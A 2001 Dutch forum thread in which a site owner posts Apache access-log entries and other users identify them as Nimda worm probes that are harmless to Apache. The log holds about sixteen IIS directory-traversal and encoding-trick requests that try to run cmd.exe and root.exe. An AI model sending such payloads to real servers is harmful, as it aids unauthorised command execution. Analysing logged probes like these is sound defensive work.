What the HEK!?

[zwahiel]

Mensen, ik was laatst door mijn access_log file aan het bladeren (want Webalizer doet het niet helemaal!)

En toen kwam ik dit tegen:
213.171.198.6 - - [23/Sep/2001:06:37:25 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:25 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:25 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:25 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:26 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:26 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:26 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:26 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:27 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:27 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:27 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:27 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:27 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.171.198.6 - - [23/Sep/2001:06:37:28 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.171.198.6 - - [23/Sep/2001:06:37:28 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
213.171.198.6 - - [23/Sep/2001:06:37:28 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
209.247.40.106 - - [23/Sep/2001:06:51:58 +0200] "GET /robots.txt HTTP/1.0" 404 -

Van deze IP's:
209.247.40.106, 213.65.249.169, 213.171.198.6, 213.175.34.195, 213.84.238.24, 213.84.7.108, 213.84.86.64, 213.84.241.131, 213.187.23.76, 213.84.7.156,
213.84.86.64, 213.162.196.10, 213.41.65.162, 213.51.30.218, 213.84.65.164, 213.84.0.136 en nog een stel anderen

Als je wilt gluren in de access_log lijst gluur dan op http://www.wielgoesonline.net/pc/access_log

Gelukkig is het een Linux server, met security updates van een paar weken geleden

Misschien iemand een tip?

[Verwijderd]

1 woord: NIMDA virus

laat maar lekker zijn gangetje, doet toch niks op een Apache server

[djexplo]

He is heel gek als je 213.171.198.6 pingt krijg je dat adres niet maar 62.6.198.37 is dat andere soms een fake adres ???, kan dat ???

[Verwijderd]

Zie ook:
http://gathering.tweakers.net/forum/list_messages/231310/1?limit=25]

[Verwijderd]

Op woensdag 26 september 2001 13:34 schreef ml1 het volgende:
1 woord: NIMDA virus

laat maar lekker zijn gangetje, doet toch niks op een Apache server

lijkt me niet
ik zag dit soort entry's maanden geleden al, ik zit meer te denken aan script kiddies

[zwahiel]

Wie ze wil naaien mag het van mij hoor

't lukt mij niet echt!

Maarruh Nimda? Het is een webserver, geen mailserver hé!

D'r draaid Apache op en Wu_FTP en MySQL en PHP4 (op een laptop met 20 MB RAM i486! en toch MySQL!)



Ik heb extra de IP's erbij gezet...

I don't like ppl sniffing 'round my server for hacking reasons...

[flat]

Op woensdag 26 september 2001 13:38 schreef naibr het volgende:
lijkt me niet
ik zag dit soort entry's maanden geleden al, ik zit meer te denken aan script kiddies

maar als zo die hele rij achter elkaar komt, is 't nimda.

echt waar hoor, ik had 't idee dat dat nu wel bekend zou zijn zeg

zwahiel: is 't wel slim om zo je hele access_log online te gooien?

[Verwijderd]

zwahiel: is 't wel slim om zo je hele access_log online te gooien?

Niet echt, maar maken we geen misbruik van. Toch?

[zwahiel]

Op woensdag 26 september 2001 13:42 schreef Flat© het volgende:

[..]

zwahiel: is 't wel slim om zo je hele access_log online te gooien?

Hoezo? Vertel....?
* zwahiel is zéér geinteresseerd!

[Joeroenho]

Op woensdag 26 september 2001 13:34 schreef ml1 het volgende:
1 woord: NIMDA virus

[pietlutmode]
Zijn dat geen 2 woorden..?
[/pietlutmode]

[zwahiel]

Op woensdag 26 september 2001 13:46 schreef HPE het volgende:

[..]

Niet echt, maar maken we geen misbruik van. Toch?

* zwahiel volligt dit geheel ff niet helemaal....

[flat]

* zwahiel volligt dit geheel ff niet helemaal....

haal die link maar gewoon weg, we zijn 't er nu wel over eens dat 't nimda is (toch?)

[Verwijderd]

Op woensdag 26 september 2001 13:38 schreef naibr het volgende:

[..]

lijkt me niet
ik zag dit soort entry's maanden geleden al, ik zit meer te denken aan script kiddies

Ook. Maar de laatste week zie je 16 entries tegelijk ongeveer. Dat duidt op Nimda. Een kiddies doet meestal niet 16 pogingen in zo'n korte tijd.

[zwahiel]

Op woensdag 26 september 2001 13:51 schreef Flat© het volgende:

[..]

haal die link maar gewoon weg, we zijn 't er nu wel over eens dat 't nimda is (toch?)

Ha maar die stats zijn dus echt niet van de server waar ie nu opstaat hoor! Die zijn van een andere server!

[The Source]

Op woensdag 26 september 2001 13:58 schreef ml1 het volgende:

[..]

Ook. Maar de laatste week zie je 16 entries tegelijk ongeveer. Dat duidt op Nimda. Een kiddies doet meestal niet 16 pogingen in zo'n korte tijd.

hehehe... wel als het een scriptkiddie is en gebruikt maakt van een geautomatiseerd script

[zwahiel]

Op woensdag 26 september 2001 14:44 schreef The Source het volgende:

[..]

hehehe... wel als het een scriptkiddie is en gebruikt maakt van een geautomatiseerd script

WAT MOET IK ER TEGEN DOEN!?

[flat]

Op woensdag 26 september 2001 14:53 schreef zwahiel het volgende:
WAT MOET IK ER TEGEN DOEN!?

mijn persoonlijke keuze:
niets ertegen doen, maar iets ermee doen.
stats stats stats stats stats stats stats stats stats stats stats stats stats stats stats stats stats stats en nog eens stats!

[Verwijderd]

wat je er tegen moet doen :
niets, ik mag aannemen dat je geen iis gebruikt dantoch :-)

alleen je overzicht van je pageviews worden een beetje vernageld, verder doet het niets kwaads

[ACM]

zie ook de andere nimda topics.
Check de t.net nieuwsposting en securityfocus.com / cert.org